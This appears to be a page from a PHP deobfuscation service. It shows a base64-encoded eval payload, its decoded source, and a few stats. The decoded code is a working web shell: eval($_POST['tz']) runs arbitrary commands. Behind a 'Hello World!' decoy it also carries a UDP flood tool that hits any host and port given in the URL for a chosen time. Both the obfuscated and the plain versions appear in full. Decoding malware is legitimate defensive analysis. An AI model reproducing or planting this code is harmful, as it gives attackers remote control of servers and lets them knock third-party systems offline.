Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('QGV2YWwoJF9QT1NUWyd0eiddKTsKaWYoaXNzZXQoJF9HRVRbJ2hvc3QnXSkmJml..
Decoded Output download
eval($_POST['tz']);
if(isset($_GET['host'])&&isset($_GET['time'])&&isset($_GET['port'])){
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
$max_time = $time+$exec_time;
$host = $_GET['host'];
$rand = $_GET['port'];
for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
//$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="hello">
</form>';
}else{ echo '<br><b>Hello World!</b><br>
<form action=? method=GET>
<input type="hidden" name="act" value="hello">
</form>';
}
Did this file decode correctly?
Original Code
<?php
eval(base64_decode('QGV2YWwoJF9QT1NUWyd0eiddKTsKaWYoaXNzZXQoJF9HRVRbJ2hvc3QnXSkmJmlzc2V0KCRfR0VUWyd0aW1lJ10pJiZpc3NldCgkX0dFVFsncG9ydCddKSl7CiAgICAkcGFja2V0cyA9IDA7CiAgICBpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsKICAgIHNldF90aW1lX2xpbWl0KDApOwogICAgJGV4ZWNfdGltZSA9ICRfR0VUWyd0aW1lJ107CiAgICAkdGltZSA9IHRpbWUoKTsKICAgICRtYXhfdGltZSA9ICR0aW1lKyRleGVjX3RpbWU7CiAgICAkaG9zdCA9ICRfR0VUWydob3N0J107CiAgICAkcmFuZCA9ICRfR0VUWydwb3J0J107CiAgICBmb3IoJGk9MDskaTw2NTAwMDskaSsrKXsKICAgICRvdXQgLj0gJ1gnOwogICAgfQogICAgd2hpbGUoMSl7CiAgICAkcGFja2V0cysrOwogICAgaWYodGltZSgpID4gJG1heF90aW1lKXsKICBicmVhazsKICAgIH0KICAgIC8vJHJhbmQgPSByYW5kKDEsNjUwMDApOwogICAgJGZwID0gZnNvY2tvcGVuKCd1ZHA6Ly8nLiRob3N0LCAkcmFuZCwgJGVycm5vLCAkZXJyc3RyLCA1KTsKICAgIGlmKCRmcCl7CiAgZndyaXRlKCRmcCwgJG91dCk7CiAgZmNsb3NlKCRmcCk7CiAgICB9CiAgICB9CiAgICBlY2hvICc8YnI+PGJyPgogIDxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIiBtZXRob2Q9R0VUPgogIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9ImhlbGxvIj4KICA8L2Zvcm0+JzsKfWVsc2V7IGVjaG8gJzxicj48Yj5IZWxsbyBXb3JsZCE8L2I+PGJyPgogICAgPGZvcm0gYWN0aW9uPT8gbWV0aG9kPUdFVD4KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9ImhlbGxvIj4KICA8L2Zvcm0+JzsKfQ=='));
?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 221f410fea195cc7ce824652c8ad9c5b |
Eval Count | 1 |
Decode Time | 82 ms |